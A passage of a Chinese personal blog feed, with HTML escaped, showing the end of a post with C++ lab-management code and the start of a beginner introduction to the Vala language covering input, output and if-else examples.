\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;--query\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system instructions.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Usage: lab-management [option]\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Options: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// cout \u0026lt;\u0026lt; \u0026#34; --user Login this system as teacher.\u0026#34; \u0026lt;\u0026lt; endl;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; --query Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e自行了解用途,我已经忘了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"\u003cimg src=\"http://legacy.superbart.top/picture/Random/adwaita-d.webp\" alt=\"Featured image of post Vala 介绍\" /\u003e\u003cp\u003e\u003ca class=\"link\" href=\"https://vala.dev/\" target=\"_blank\" rel=\"noopener\"\n \u003eVala\u003c/a\u003e 是由 \u003ca class=\"link\" href=\"https://www.gnome.org/\" target=\"_blank\" rel=\"noopener\"\n \u003eGNOME 小矮人\u003c/a\u003e开发的面向对象编程语言。编程语法接近 Java,围绕 \u003ca class=\"link\" href=\"https://gitlab.gnome.org/GNOME/glib/\" target=\"_blank\" rel=\"noopener\"\n \u003eGLib\u003c/a\u003e 库展开。编译方式是先翻译成 C 语言代码,然后编译。用途嘛\u0026hellip;\u0026hellip;我来讲个故事吧。\u003c/p\u003e\n\u003cp\u003e我半年前学了 Dart,Google 开发的语言,编程语法接近 Javascript。官网说它是“多用途语言”,然而我感觉多数人学了它,就是为了用 Flutter :-P\u003c/p\u003e\n\u003cp\u003eVala 也是这样,名义上是一个“多用途语言”,但是我感觉多数人学了它,只是为了 GTK。我也是不知道为啥,非得用这个语言写我的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/MySQL/exp4\" target=\"_blank\" rel=\"noopener\"\n \u003e数据库大作业\u003c/a\u003e,花了两周时间边学边写,最后也不知道我学了个啥\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e不得不说,GLib 是一个很强大的库。本来说是给 GTK 服务的,后来独立出去了。它实现了单/双向链表,变长数组,树,Map 等数据结构。它还以 GObject 为中心,构建了一个相当完善的,庞大的,\u003cdel\u003e让我这个菜鸡不知所以的\u003c/del\u003e类系统。\u003c/p\u003e\n\u003cp\u003e接下来大致介绍顺序:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出(从键盘输入,从终端输出)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句 if-else 和 switch\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句,包括计数和计事件循环\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我一点都不懂的面向对象\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eGLib 库和 Gee 库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSQLite 3 库\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e先给大家推荐一些前人的经验教训:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wszqkzqk.github.io/2022/10/17/%E6%8E%A2%E7%B4%A2Vala%E8%AF%AD%E8%A8%80/\" target=\"_blank\" rel=\"noopener\"\n \u003e探索Vala语言 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://valadoc.org/index.htm\" target=\"_blank\" rel=\"noopener\"\n \u003eValadoc.org (Vala 库文档网站)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Documentation\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/Documentation - GNOME Wiki! (官方文档)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"基本输入输出\"\u003e基本输入输出\u003c/h2\u003e\n\u003cp\u003e官方演示:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/BasicSample\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/BasicSample - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出一句话,都是那德行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// GLib 的 print 函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 使用到了 stdin / stdout / stderr 对象\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入一个数字:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 双精度浮点数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 scanf,注意 out\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 不是取地址符\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%lf\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 printf\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%.3f\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入字符串:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Welcome, what\u0026#39;s your name?\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread_line\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;OK, %s, main course is prepared for you.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"判断语句\"\u003e判断语句\u003c/h2\u003e\n\u003cp\u003eif-else 判断:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a year: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e400\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Maybe Olympics if no war.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;No Olympics.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eswtich 判断:\u003c/p\u003e\n\u003cp\u003e省略,很少用到。\u003c/p\u003e\n\u003ch2 id=\"循环语句\"\u003e循环语句\u003c/h2\u003e\n\u003cp\u003e计次数循环 for\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 